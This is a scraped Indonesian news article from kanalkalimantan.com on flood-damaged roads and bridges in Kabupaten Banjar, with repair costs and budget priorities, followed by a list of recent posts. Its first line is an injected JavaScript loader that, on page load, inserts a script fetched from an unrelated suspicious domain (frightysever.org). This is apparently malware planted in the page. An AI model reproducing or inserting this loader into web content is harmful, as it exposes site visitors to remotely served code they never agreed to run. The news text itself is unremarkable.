(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

PUPR Banjar Prioritaskan Perbaikan Jalan dan Jembatan yang Aksesnya Terputus


KANALKALIMANTAN.COM, MARTAPURA – Banjir yang terjadi di Kalimantan Selatan, pada khususnya Kabupaten Banjar sejak awal 2021 bisa dikatakan sudah berlalu.

 

Sejumlah kecamatan yang semula masih terendam hingga Maret 2021 kemarin kini sudah tidak lagi.

 

Dampak banjir tersebut sangat dirasakan oleh masyararakat dan Pemerintah Kabupaten Banjar tentunya.

 

Banyak infrastruktur seperti jalan dan jembatan yang mengalami kerusakan dan harus dilakukan perbaikan.

Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Banjar, melalui Bidang Bina Marga, setidaknya mencatat infrastruktur yg terdampak banjir 2021 tersebar di 10 kecamatan.

 

“Jalan yang mengalami kerusakan kami data ada sekitar 275.470 meter dan kebutuhan dana rehabilitasi untuk itu sebesar Rp 106.654 miliar,” ujar Kepala Bidang Bina Marga Dinas PUPR Kabupaten Banjar, Ahmad Solhan, Kamis (22/4/2021) siang.

 

Kemudian, sambung dia, jembatan yang rusak karena banjir itu ada 25 buah dan kebutuhan dana rekonstruksi sebesar Rp 27.070 miliar

 

“Kalau total dana yang diperlukan sekitar Rp 133.724 miliar lebih,” jelas dia.

Baca juga : 9 Negara, Termasuk AS, Tawarkan Bantuan Cari Kapal Selam RI

Lebih jauh dia mengatakan, mengenai dampak putusnya Jembatan Sungai Salim di jalan nasional atau Jalan A Yani km55 berakibat kerusakan di jalan kabupaten karena digunakan sebagai jalan alternatif sepanjang 36,30 km, dengan kerugian senilai Rp 51.529 miliar lebih.

 

Adapun dana penanggulangan bencana/ tanggap darurat (APBD) tahun anggaran 2021 yang terkonsentrasi di PUPR Kabupaten Banjar sebesar Rp 4.150 miliar yang terdiri dari untuk jalan Rp 2.250 miliar dan untuk jembatan Rp 1.900 miliar.

 

“Dengan keterbatasan anggaran untuk penanggulangan bencana/tanggap darurat pasca banjir ini, maka untuk penanganan perbaikan infrastruktur pasca banjir perlu diprioritaskan untuk jalan dan jembatan yang aksesnya terputus dulu secara bertahap sesuai anggaran yang tersedia,” pungkas Solhan. (kanalkalimantan.com/dhani)

 

Reporter : Dhani
Editor : Dhani

 

 

 


Al Ghifari

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

2 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

3 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

3 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

4 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

4 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

7 jam ago

This website uses cookies.